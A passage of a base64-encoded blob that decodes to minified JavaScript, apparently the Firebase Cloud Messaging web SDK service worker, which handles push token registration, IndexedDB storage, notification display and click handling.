9mY21yZWdpc3RyYXRpb25zLmdvb2dsZWFwaXMuY29tL3YxIixUdD0iRkNNX01TRyIsQXQ9Imdvb2dsZS5jLmEuY19pZCIsT3Q9MyxNdD0xO3ZhciBqdCxOdCxQdDtmdW5jdGlvbiBCdChlKXtjb25zdCB0PW5ldyBVaW50OEFycmF5KGUpO3JldHVybiBidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4udCkpLnJlcGxhY2UoLz0vZywiIikucmVwbGFjZSgvXCsvZywiLSIpLnJlcGxhY2UoL1wvL2csIl8iKX1mdW5jdGlvbiBMdChlKXtjb25zdCB0PShlKyI9Ii5yZXBlYXQoKDQtZS5sZW5ndGglNCklNCkpLnJlcGxhY2UoL1wtL2csIisiKS5yZXBsYWNlKC9fL2csIi8iKSxuPWF0b2IodCksaT1uZXcgVWludDhBcnJheShuLmxlbmd0aCk7Zm9yKGxldCByPTA7cjxuLmxlbmd0aDsrK3IpaVtyXT1uLmNoYXJDb2RlQXQocik7cmV0dXJuIGl9KE50PWp0fHwoanQ9e30pKVtOdC5EQVRBX01FU1NBR0U9MV09IkRBVEFfTUVTU0FHRSIsTnRbTnQuRElTUExBWV9OT1RJRklDQVRJT049M109IkRJU1BMQVlfTk9USUZJQ0FUSU9OIixmdW5jdGlvbihlKXtlLlBVU0hfUkVDRUlWRUQ9InB1c2gtcmVjZWl2ZWQiLGUuTk9USUZJQ0FUSU9OX0NMSUNLRUQ9Im5vdGlmaWNhdGlvbi1jbGlja2VkIn0oUHR8fChQdD17fSkpO2NvbnN0ICR0PSJmY21fdG9rZW5fZGV0YWlsc19kYiIsUnQ9NSx4dD0iZmNtX3Rva2VuX29iamVjdF9TdG9yZSI7Y29uc3QgS3Q9ImZpcmViYXNlLW1lc3NhZ2luZy1kYXRhYmFzZSIsSHQ9MSxGdD0iZmlyZWJhc2UtbWVzc2FnaW5nLXN0b3JlIjtsZXQgV3Q9bnVsbDtmdW5jdGlvbiBWdCgpe3JldHVybiBXdHx8KFd0PU9lKEt0LEh0LHt1cGdyYWRlOihlLHQpPT57aWYoMD09PXQpZS5jcmVhdGVPYmplY3RTdG9yZShGdCl9fSkpLFd0fWFzeW5jIGZ1bmN0aW9uIFV0KGUpe2NvbnN0IHQ9cXQoZSksbj1hd2FpdCBWdCgpLGk9YXdhaXQgbi50cmFuc2FjdGlvbihGdCkub2JqZWN0U3RvcmUoRnQpLmdldCh0KTtpZihpKXJldHVybiBpO3tjb25zdCB0PWF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2lmKCJkYXRhYmFzZXMiaW4gaW5kZXhlZERCJiYhKGF3YWl0IGluZGV4ZWREQi5kYXRhYmFzZXMoKSkubWFwKChlPT5lLm5hbWUpKS5pbmNsdWRlcygkdCkpcmV0dXJuIG51bGw7bGV0IHQ9bnVsbDtyZXR1cm4oYXdhaXQgT2UoJHQsUnQse3VwZ3JhZGU6YXN5bmMobixpLHIsYSk9Pnt2YXIgbztpZihpPDIpcmV0dXJuO2lmKCFuLm9iamVjdFN0b3JlTmFtZXMuY29udGFpbnMoeHQpKXJldHVybjtjb25zdCBzPWEub2JqZWN0U3RvcmUoeHQpLGM9YXdhaXQgcy5pbmRleCgiZmNtU2VuZGVySWQiKS5nZXQoZSk7aWYoYXdhaXQgcy5jbGVhcigpLGMpaWYoMj09PWkpe2NvbnN0IGU9YztpZighZS5hdXRofHwhZS5wMjU2ZGh8fCFlLmVuZHBvaW50KXJldHVybjt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6bnVsbCE9PShvPWUuY3JlYXRlVGltZSkmJnZvaWQgMCE9PW8/bzpEYXRlLm5vdygpLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6ZS5hdXRoLHAyNTZkaDplLnAyNTZkaCxlbmRwb2ludDplLmVuZHBvaW50LHN3U2NvcGU6ZS5zd1Njb3BlLHZhcGlkS2V5OiJzdHJpbmciPT10eXBlb2YgZS52YXBpZEtleT9lLnZhcGlkS2V5OkJ0KGUudmFwaWRLZXkpfX19ZWxzZSBpZigzPT09aSl7Y29uc3QgZT1jO3Q9e3Rva2VuOmUuZmNtVG9rZW4sY3JlYXRlVGltZTplLmNyZWF0ZVRpbWUsc3Vic2NyaXB0aW9uT3B0aW9uczp7YXV0aDpCdChlLmF1dGgpLHAyNTZkaDpCdChlLnAyNTZkaCksZW5kcG9pbnQ6ZS5lbmRwb2ludCxzd1Njb3BlOmUuc3dTY29wZSx2YXBpZEtleTpCdChlLnZhcGlkS2V5KX19fWVsc2UgaWYoND09PWkpe2NvbnN0IGU9Yzt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6ZS5jcmVhdGVUaW1lLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6QnQoZS5hdXRoKSxwMjU2ZGg6QnQoZS5wMjU2ZGgpLGVuZHBvaW50OmUuZW5kcG9pbnQsc3dTY29wZTplLnN3U2NvcGUsdmFwaWRLZXk6QnQoZS52YXBpZEtleSl9fX19fSkpLmNsb3NlKCksYXdhaXQgTWUoJHQpLGF3YWl0IE1lKCJmY21fdmFwaWRfZGV0YWlsc19kYiIpLGF3YWl0IE1lKCJ1bmRlZmluZWQiKSxmdW5jdGlvbihlKXtpZighZXx8IWUuc3Vic2NyaXB0aW9uT3B0aW9ucylyZXR1cm4hMTtjb25zdHtzdWJzY3JpcHRpb25PcHRpb25zOnR9PWU7cmV0dXJuIm51bWJlciI9PXR5cGVvZiBlLmNyZWF0ZVRpbWUmJmUuY3JlYXRlVGltZT4wJiYic3RyaW5nIj09dHlwZW9mIGUudG9rZW4mJmUudG9rZW4ubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5hdXRoJiZ0LmF1dGgubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5wMjU2ZGgmJnQucDI1NmRoLmxlbmd0aD4wJiYic3RyaW5nIj09dHlwZW9mIHQuZW5kcG9pbnQmJnQuZW5kcG9pbnQubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5zd1Njb3BlJiZ0LnN3U2NvcGUubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC52YXBpZEtleSYmdC52YXBpZEtleS5sZW5ndGg+MH0odCk/dDpudWxsfShlLmFwcENvbmZpZy5zZW5kZXJJZCk7aWYodClyZXR1cm4gYXdhaXQgenQoZSx0KSx0fX1hc3luYyBmdW5jdGlvbiB6dChlLHQpe2NvbnN0IG49cXQoZSksaT0oYXdhaXQgVnQoKSkudHJhbnNhY3Rpb24oRnQsInJlYWR3cml0ZSIpO3JldHVybiBhd2FpdCBpLm9iamVjdFN0b3JlKEZ0KS5wdXQodCxuKSxhd2FpdCBpLmRvbmUsdH1mdW5jdGlvbiBxdCh7YXBwQ29uZmlnOmV9KXtyZXR1cm4gZS5hcHBJZH1jb25zdCBHdD1uZXcgcCgibWVzc2FnaW5nIiwiTWVzc2FnaW5nIix7Im1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiOidNaXNzaW5nIEFwcCBjb25maWd1cmF0aW9uIHZhbHVlOiAieyR2YWx1ZU5hbWV9IicsIm9ubHktYXZhaWxhYmxlLWluLXdpbmRvdyI6IlRoaXMgbWV0aG9kIGlzIGF2YWlsYWJsZSBpbiBhIFdpbmRvdyBjb250ZXh0LiIsIm9ubHktYXZhaWxhYmxlLWluLXN3IjoiVGhpcyBtZXRob2QgaXMgYXZhaWxhYmxlIGluIGEgc2VydmljZSB3b3JrZXIgY29udGV4dC4iLCJwZXJtaXNzaW9uLWRlZmF1bHQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBkaXNtaXNzZWQgaW5zdGVhZC4iLCJwZXJtaXNzaW9uLWJsb2NrZWQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBibG9ja2VkIGluc3RlYWQuIiwidW5zdXBwb3J0ZWQtYnJvd3NlciI6IlRoaXMgYnJvd3NlciBkb2Vzbid0IHN1cHBvcnQgdGhlIEFQSSdzIHJlcXVpcmVkIHRvIHVzZSB0aGUgRmlyZWJhc2UgU0RLLiIsImluZGV4ZWQtZGItdW5zdXBwb3J0ZWQiOiJUaGlzIGJyb3dzZXIgZG9lc24ndCBzdXBwb3J0IGluZGV4ZWREYi5vcGVuKCkgKGV4LiBTYWZhcmkgaUZyYW1lLCBGaXJlZm94IFByaXZhdGUgQnJvd3NpbmcsIGV0YykiLCJmYWlsZWQtc2VydmljZS13b3JrZXItcmVnaXN0cmF0aW9uIjoiV2UgYXJlIHVuYWJsZSB0byByZWdpc3RlciB0aGUgZGVmYXVsdCBzZXJ2aWNlIHdvcmtlci4geyRicm93c2VyRXJyb3JNZXNzYWdlfSIsInRva2VuLXN1YnNjcmliZS1mYWlsZWQiOiJBIHByb2JsZW0gb2NjdXJyZWQgd2hpbGUgc3Vic2NyaWJpbmcgdGhlIHVzZXIgdG8gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiBzdWJzY3JpYmluZyB0aGUgdXNlciB0byBwdXNoLiIsInRva2VuLXVuc3Vic2NyaWJlLWZhaWxlZCI6IkEgcHJvYmxlbSBvY2N1cnJlZCB3aGlsZSB1bnN1YnNjcmliaW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtZmFpbGVkIjoiQSBwcm9ibGVtIG9jY3VycmVkIHdoaWxlIHVwZGF0aW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiB1cGRhdGluZyB0aGUgdXNlciB0byBwdXNoLiIsInVzZS1zdy1hZnRlci1nZXQtdG9rZW4iOiJUaGUgdXNlU2VydmljZVdvcmtlcigpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBzZXJ2aWNlIHdvcmtlciBpcyB1c2VkLiIsImludmFsaWQtc3ctcmVnaXN0cmF0aW9uIjoiVGhlIGlucHV0IHRvIHVzZVNlcnZpY2VXb3JrZXIoKSBtdXN0IGJlIGEgU2VydmljZVdvcmtlclJlZ2lzdHJhdGlvbi4iLCJpbnZhbGlkLWJnLWhhbmRsZXIiOiJUaGUgaW5wdXQgdG8gc2V0QmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyKCkgbXVzdCBiZSBhIGZ1bmN0aW9uLiIsImludmFsaWQtdmFwaWQta2V5IjoiVGhlIHB1YmxpYyBWQVBJRCBrZXkgbXVzdCBiZSBhIHN0cmluZy4iLCJ1c2UtdmFwaWQta2V5LWFmdGVyLWdldC10b2tlbiI6IlRoZSB1c2VQdWJsaWNWYXBpZEtleSgpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBWQVBJRCBrZXkgaXMgdXNlZC4ifSk7YXN5bmMgZnVuY3Rpb24gSnQoZSx0KXtjb25zdCBuPXttZXRob2Q6IkRFTEVURSIsaGVhZGVyczphd2FpdCBRdChlKX07dHJ5e2NvbnN0IGk9YXdhaXQgZmV0Y2goYCR7WXQoZS5hcHBDb25maWcpfS8ke3R9YCxuKSxyPWF3YWl0IGkuanNvbigpO2lmKHIuZXJyb3Ipe2NvbnN0IGU9ci5lcnJvci5tZXNzYWdlO3Rocm93IEd0LmNyZWF0ZSgidG9rZW4tdW5zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOmV9KX19Y2F0Y2goaSl7dGhyb3cgR3QuY3JlYXRlKCJ0b2tlbi11bnN1YnNjcmliZS1mYWlsZWQiLHtlcnJvckluZm86bnVsbD09aT92b2lkIDA6aS50b1N0cmluZygpfSl9fWZ1bmN0aW9uIFl0KHtwcm9qZWN0SWQ6ZX0pe3JldHVybmAke0N0fS9wcm9qZWN0cy8ke2V9L3JlZ2lzdHJhdGlvbnNgfWFzeW5jIGZ1bmN0aW9uIFF0KHthcHBDb25maWc6ZSxpbnN0YWxsYXRpb25zOnR9KXtjb25zdCBuPWF3YWl0IHQuZ2V0VG9rZW4oKTtyZXR1cm4gbmV3IEhlYWRlcnMoeyJDb250ZW50LVR5cGUiOiJhcHBsaWNhdGlvbi9qc29uIixBY2NlcHQ6ImFwcGxpY2F0aW9uL2pzb24iLCJ4LWdvb2ctYXBpLWtleSI6ZS5hcGlLZXksIngtZ29vZy1maXJlYmFzZS1pbnN0YWxsYXRpb25zLWF1dGgiOmBGSVMgJHtufWB9KX1mdW5jdGlvbiBYdCh7cDI1NmRoOmUsYXV0aDp0LGVuZHBvaW50Om4sdmFwaWRLZXk6aX0pe2NvbnN0IHI9e3dlYjp7ZW5kcG9pbnQ6bixhdXRoOnQscDI1NmRoOmV9fTtyZXR1cm4gaSE9PUR0JiYoci53ZWIuYXBwbGljYXRpb25QdWJLZXk9aSkscn1jb25zdCBadD02MDQ4ZTU7YXN5bmMgZnVuY3Rpb24gZW4oZSl7Y29uc3QgdD1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgZS5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKTtpZihuKXJldHVybiBuO3JldHVybiBlLnB1c2hNYW5hZ2VyLnN1YnNjcmliZSh7dXNlclZpc2libGVPbmx5OiEwLGFwcGxpY2F0aW9uU2VydmVyS2V5Okx0KHQpfSl9KGUuc3dSZWdpc3RyYXRpb24sZS52YXBpZEtleSksbj17dmFwaWRLZXk6ZS52YXBpZEtleSxzd1Njb3BlOmUuc3dSZWdpc3RyYXRpb24uc2NvcGUsZW5kcG9pbnQ6dC5lbmRwb2ludCxhdXRoOkJ0KHQuZ2V0S2V5KCJhdXRoIikpLHAyNTZkaDpCdCh0LmdldEtleSgicDI1NmRoIikpfSxpPWF3YWl0IFV0KGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMpO2lmKGkpe2lmKGZ1bmN0aW9uKGUsdCl7Y29uc3Qgbj10LnZhcGlkS2V5PT09ZS52YXBpZEtleSxpPXQuZW5kcG9pbnQ9PT1lLmVuZHBvaW50LHI9dC5hdXRoPT09ZS5hdXRoLGE9dC5wMjU2ZGg9PT1lLnAyNTZkaDtyZXR1cm4gbiYmaSYmciYmYX0oaS5zdWJzY3JpcHRpb25PcHRpb25zLG4pKXJldHVybiBEYXRlLm5vdygpPj1pLmNyZWF0ZVRpbWUrWnQ/YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgUXQoZSksaT1YdCh0LnN1YnNjcmlwdGlvbk9wdGlvbnMpLHI9e21ldGhvZDoiUEFUQ0giLGhlYWRlcnM6bixib2R5OkpTT04uc3RyaW5naWZ5KGkpfTtsZXQgYTt0cnl7Y29uc3Qgbj1hd2FpdCBmZXRjaChgJHtZdChlLmFwcENvbmZpZyl9LyR7dC50b2tlbn1gLHIpO2E9YXdhaXQgbi5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgR3QuY3JlYXRlKCJ0b2tlbi11cGRhdGUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IEd0LmNyZWF0ZSgidG9rZW4tdXBkYXRlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgR3QuY3JlYXRlKCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZS5maXJlYmFzZURlcGVuZGVuY2llcyx0KSxpPU9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSx0KSx7dG9rZW46bixjcmVhdGVUaW1lOkRhdGUubm93KCl9KTtyZXR1cm4gYXdhaXQgenQoZS5maXJlYmFzZURlcGVuZGVuY2llcyxpKSxufWNhdGNoKG4pe3Rocm93IGF3YWl0IHRuKGUpLG59fShlLHt0b2tlbjppLnRva2VuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOm59KTppLnRva2VuO3RyeXthd2FpdCBKdChlLmZpcmViYXNlRGVwZW5kZW5jaWVzLGkudG9rZW4pfWNhdGNoKHIpe31yZXR1cm4gbm4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1yZXR1cm4gbm4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1hc3luYyBmdW5jdGlvbiB0bihlKXtjb25zdCB0PWF3YWl0IFV0KGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMpO3QmJihhd2FpdCBKdChlLmZpcmViYXNlRGVwZW5kZW5jaWVzLHQudG9rZW4pLGF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2NvbnN0IHQ9cXQoZSksbj0oYXdhaXQgVnQoKSkudHJhbnNhY3Rpb24oRnQsInJlYWR3cml0ZSIpO2F3YWl0IG4ub2JqZWN0U3RvcmUoRnQpLmRlbGV0ZSh0KSxhd2FpdCBuLmRvbmV9KGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMpKTtjb25zdCBuPWF3YWl0IGUuc3dSZWdpc3RyYXRpb24ucHVzaE1hbmFnZXIuZ2V0U3Vic2NyaXB0aW9uKCk7cmV0dXJuIW58fG4udW5zdWJzY3JpYmUoKX1hc3luYyBmdW5jdGlvbiBubihlLHQpe2NvbnN0IG49YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSx0KXtjb25zdCBuPWF3YWl0IFF0KGUpLGk9WHQodCkscj17bWV0aG9kOiJQT1NUIixoZWFkZXJzOm4sYm9keTpKU09OLnN0cmluZ2lmeShpKX07bGV0IGE7dHJ5e2NvbnN0IHQ9YXdhaXQgZmV0Y2goWXQoZS5hcHBDb25maWcpLHIpO2E9YXdhaXQgdC5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgR3QuY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IEd0LmNyZWF0ZSgidG9rZW4tc3Vic2NyaWJlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgR3QuY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZSx0KSxpPXt0b2tlbjpuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOnR9O3JldHVybiBhd2FpdCB6dChlLGkpLGkudG9rZW59YXN5bmMgZnVuY3Rpb24gcm4oZSx0KXtjb25zdCBuPWZ1bmN0aW9uKGUsdCl7dmFyIG4saTtjb25zdCByPXt9O2UuZnJvbSYmKHIucHJvamVjdF9udW1iZXI9ZS5mcm9tKTtlLmZjbU1lc3NhZ2VJZCYmKHIubWVzc2FnZV9pZD1lLmZjbU1lc3NhZ2VJZCk7ci5pbnN0YW5jZV9pZD10LGUubm90aWZpY2F0aW9uP3IubWVzc2FnZV90eXBlPWp0LkRJU1BMQVlfTk9USUZJQ0FUSU9OLnRvU3RyaW5nKCk6ci5tZXNzYWdlX3R5cGU9anQuREFUQV9NRVNTQUdFLnRvU3RyaW5nKCk7ci5zZGtfcGxhdGZvcm09T3QudG9TdHJpbmcoKSxyLnBhY2thZ2VfbmFtZT1zZWxmLm9yaWdpbi5yZXBsYWNlKC8oXlx3Kzp8XilcL1wvLywiIiksIWUuY29sbGFwc2Vfa2V5fHwoci5jb2xsYXBzZV9rZXk9ZS5jb2xsYXBzZV9rZXkpO3IuZXZlbnQ9TXQudG9TdHJpbmcoKSwhKG51bGw9PT0obj1lLmZjbU9wdGlvbnMpfHx2b2lkIDA9PT1uP3ZvaWQgMDpuLmFuYWx5dGljc19sYWJlbCl8fChyLmFuYWx5dGljc19sYWJlbD1udWxsPT09KGk9ZS5mY21PcHRpb25zKXx8dm9pZCAwPT09aT92b2lkIDA6aS5hbmFseXRpY3NfbGFiZWwpO3JldHVybiByfSh0LGF3YWl0IGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMuaW5zdGFsbGF0aW9ucy5nZXRJZCgpKTshZnVuY3Rpb24oZSx0KXtjb25zdCBuPXt9O24uZXZlbnRfdGltZV9tcz1NYXRoLmZsb29yKERhdGUubm93KCkpLnRvU3RyaW5nKCksbi5zb3VyY2VfZXh0ZW5zaW9uX2pzb25fcHJvdG8zPUpTT04uc3RyaW5naWZ5KHQpLGUubG9nRXZlbnRzLnB1c2gobil9KGUsbil9ZnVuY3Rpb24gYW4oZSx0KXtjb25zdCBuPVtdO2ZvcihsZXQgaT0wO2k8ZS5sZW5ndGg7aSsrKW4ucHVzaChlLmNoYXJBdChpKSksaTx0Lmxlbmd0aCYmbi5wdXNoKHQuY2hhckF0KGkpKTtyZXR1cm4gbi5qb2luKCIiKX1hc3luYyBmdW5jdGlvbiBvbihlLHQpe2NvbnN0IG49ZnVuY3Rpb24oe2RhdGE6ZX0pe2lmKCFlKXJldHVybiBudWxsO3RyeXtyZXR1cm4gZS5qc29uKCl9Y2F0Y2godCl7cmV0dXJuIG51bGx9fShlKTtpZighbilyZXR1cm47dC5kZWxpdmVyeU1ldHJpY3NFeHBvcnRlZFRvQmlnUXVlcnlFbmFibGVkJiZhd2FpdCBybih0LG4pO2NvbnN0IGk9YXdhaXQgY24oKTtpZihmdW5jdGlvbihlKXtyZXR1cm4gZS5zb21lKChlPT4idmlzaWJsZSI9PT1lLnZpc2liaWxpdHlTdGF0ZSYmIWUudXJsLnN0YXJ0c1dpdGgoImNocm9tZS1leHRlbnNpb246Ly8iKSkpfShpKSlyZXR1cm4gZnVuY3Rpb24oZSx0KXt0LmlzRmlyZWJhc2VNZXNzYWdpbmc9ITAsdC5tZXNzYWdlVHlwZT1QdC5QVVNIX1JFQ0VJVkVEO2Zvcihjb25zdCBuIG9mIGUpbi5wb3N0TWVzc2FnZSh0KX0oaSxuKTtpZihuLm5vdGlmaWNhdGlvbiYmYXdhaXQgZnVuY3Rpb24oZSl7dmFyIHQ7Y29uc3R7YWN0aW9uczpufT1lLHttYXhBY3Rpb25zOml9PU5vdGlmaWNhdGlvbjtuJiZpJiZuLmxlbmd0aDtyZXR1cm4gc2VsZi5yZWdpc3RyYXRpb24uc2hvd05vdGlmaWNhdGlvbihudWxsIT09KHQ9ZS50aXRsZSkmJnZvaWQgMCE9PXQ/dDoiIixlKX0oZnVuY3Rpb24oZSl7Y29uc3QgdD1PYmplY3QuYXNzaWduKHt9LGUubm90aWZpY2F0aW9uKTtyZXR1cm4gdC5kYXRhPXtbVHRdOmV9LHR9KG4pKSx0JiZ0Lm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyKXtjb25zdCBlPWZ1bmN0aW9uKGUpe2NvbnN0IHQ9e2Zyb206ZS5mcm9tLGNvbGxhcHNlS2V5OmUuY29sbGFwc2Vfa2V5LG1lc3NhZ2VJZDplLmZjbU1lc3NhZ2VJZH07cmV0dXJuIGZ1bmN0aW9uKGUsdCl7aWYoIXQubm90aWZpY2F0aW9uKXJldHVybjtlLm5vdGlmaWNhdGlvbj17fTtjb25zdCBuPXQubm90aWZpY2F0aW9uLnRpdGxlO24mJihlLm5vdGlmaWNhdGlvbi50aXRsZT1uKTtjb25zdCBpPXQubm90aWZpY2F0aW9uLmJvZHk7aSYmKGUubm90aWZpY2F0aW9uLmJvZHk9aSk7Y29uc3Qgcj10Lm5vdGlmaWNhdGlvbi5pbWFnZTtyJiYoZS5ub3RpZmljYXRpb24uaW1hZ2U9cik7Y29uc3QgYT10Lm5vdGlmaWNhdGlvbi5pY29uO2EmJihlLm5vdGlmaWNhdGlvbi5pY29uPWEpfSh0LGUpLGZ1bmN0aW9uKGUsdCl7dC5kYXRhJiYoZS5kYXRhPXQuZGF0YSl9KHQsZSksZnVuY3Rpb24oZSx0KXt2YXIgbixpLHIsYSxvO2lmKCF0LmZjbU9wdGlvbnMmJiEobnVsbD09PShuPXQubm90aWZpY2F0aW9uKXx8dm9pZCAwPT09bj92b2lkIDA6bi5jbGlja19hY3Rpb24pKXJldHVybjtlLmZjbU9wdGlvbnM9e307Y29uc3Qgcz1udWxsIT09KHI9bnVsbD09PShpPXQuZmNtT3B0aW9ucyl8fHZvaWQgMD09PWk/dm9pZCAwOmkubGluaykmJnZvaWQgMCE9PXI/cjpudWxsPT09KGE9dC5ub3RpZmljYXRpb24pfHx2b2lkIDA9PT1hP3ZvaWQgMDphLmNsaWNrX2FjdGlvbjtzJiYoZS5mY21PcHRpb25zLmxpbms9cyk7Y29uc3QgYz1udWxsPT09KG89dC5mY21PcHRpb25zKXx8dm9pZCAwPT09bz92b2lkIDA6by5hbmFseXRpY3NfbGFiZWw7YyYmKGUuZmNtT3B0aW9ucy5hbmFseXRpY3NMYWJlbD1jKX0odCxlKSx0fShuKTsiZnVuY3Rpb24iPT10eXBlb2YgdC5vbkJhY2tncm91bmRNZXNzYWdlSGFuZGxlcj9hd2FpdCB0Lm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyKGUpOnQub25CYWNrZ3JvdW5kTWVzc2FnZUhhbmRsZXIubmV4dChlKX19YXN5bmMgZnVuY3Rpb24gc24oZSl7dmFyIHQsbjtjb25zdCBpPW51bGw9PT0obj1udWxsPT09KHQ9ZS5ub3RpZmljYXRpb24pfHx2b2lkIDA9PT10P3ZvaWQgMDp0LmRhdGEpfHx2b2lkIDA9PT1uP3ZvaWQgMDpuW1R0XTtpZighaSlyZXR1cm47aWYoZS5hY3Rpb24pcmV0dXJuO2Uuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCksZS5ub3RpZmljYXRpb24uY2xvc2UoKTtjb25zdCByPWZ1bmN0aW9uKGUpe3ZhciB0LG4saTtjb25zdCByPW51bGwhPT0obj1udWxsPT09KHQ9ZS5mY21PcHRpb25zKXx8dm9pZCAwPT09dD92b2lkIDA6dC5saW5rKSYmdm9pZCAwIT09bj9uOm51bGw9PT0oaT1lLm5vdGlmaWNhdGlvbil8fHZvaWQgMD09PWk/dm9pZCAwOmkuY2xpY2tfYWN0aW9uO2lmKHIpcmV0dXJuIHI7cmV0dXJuIGE9ZS5kYXRhLCJvYmplY3QiPT10eXBlb2YgYSYmYSYmQXQgaW4gYT9zZWxmLmxvY2F0aW9uLm9yaWdpbjpudWxsO3ZhciBhfShpKTtpZighcilyZXR1cm47Y29uc3QgYT1uZXcgVVJMKHIsc2VsZi5sb2NhdGlvbi5ocmVmKSxvPW5ldyBVUkwoc2VsZi5sb2NhdGlvbi5vcmlnaW4pO2lmKGEuaG9zdCE9PW8uaG9zdClyZXR1cm47bGV0IHM9YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7Y29uc3QgdD1hd2FpdCBjbigpO2Zvcihjb25zdCBuIG9mIHQpe2NvbnN0IHQ9bmV3IFVSTChuLnVybCxzZWxmLmxvY2F0aW9uLmhyZWYpO2lmKGUuaG9zdD09PXQuaG9zdClyZXR1cm4gbn1yZXR1cm4gbnVsbH0oYSk7dmFyIGM7cmV0dXJuIHM/cz1hd2FpdCBzLmZvY3VzKCk6KHM9YXdhaXQgc2VsZi5jbGllbnRzLm9wZW5XaW5kb3cociksYXdhaXQoYz0zZTMsbmV3IFByb21pc2UoKGU9PntzZXRUaW1lb3V0KGUsYyl9KSkpKSxzPyhpLm1lc3NhZ2VUeXBlPVB0Lk5PVElGSUNBVElPTl9DTElDS0VELGkuaXNGaXJlYmFzZU1lc3NhZ2luZz0hMCxzLnBvc3RNZXNzYWdlKGkpKTp2b2lkIDB9ZnVuY3Rpb24gY24oKXtyZXR1cm4gc2VsZi5jbGllbnRzLm1hdGNoQWxsKHt0eXBlOiJ3aW5kb3ciLGluY2x1ZGVVbmNvbnRyb2xsZWQ6ITB9KX1mdW5jdGlvbiB1bihlKXtyZXR1cm4gR3QuY3JlYXRlKCJtaXNzaW5nLWFwcC1jb25maWctdmFsdWVzIix7dmFsdWVOYW1lOmV9KX1hbigiaHRzL2ZyYnNsZ2lncC5vZ2Vwc2Ntdi9pZW8vZWF5bGciLCJ0cDovaWVhZW9nbi1hZ29sYWkuby8xZnJsZ2xnYy9vIiksYW4oIkF6U0NidzYzZzFSMG5Ddzg1akc4IiwiSWF5YTN5TEt3bWd2aDdjRjBxNCIpO2FzeW5jIGZ1bmN0aW9uIGRuKCl7cmV0dXJuIHUoKSYmYXdhaXQgZCgpJiYiUHVzaE1hbmFnZXIiaW4gc2VsZiYmIk5vdGlmaWNhdGlvbiJpbiBzZWxmJiZTZXJ2aWNlV29ya2VyUmVnaXN0cmF0aW9uLnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eSgic2hvd05vdGlmaWNhdGlvbiIpJiZQdXNoU3Vic2NyaXB0aW9uL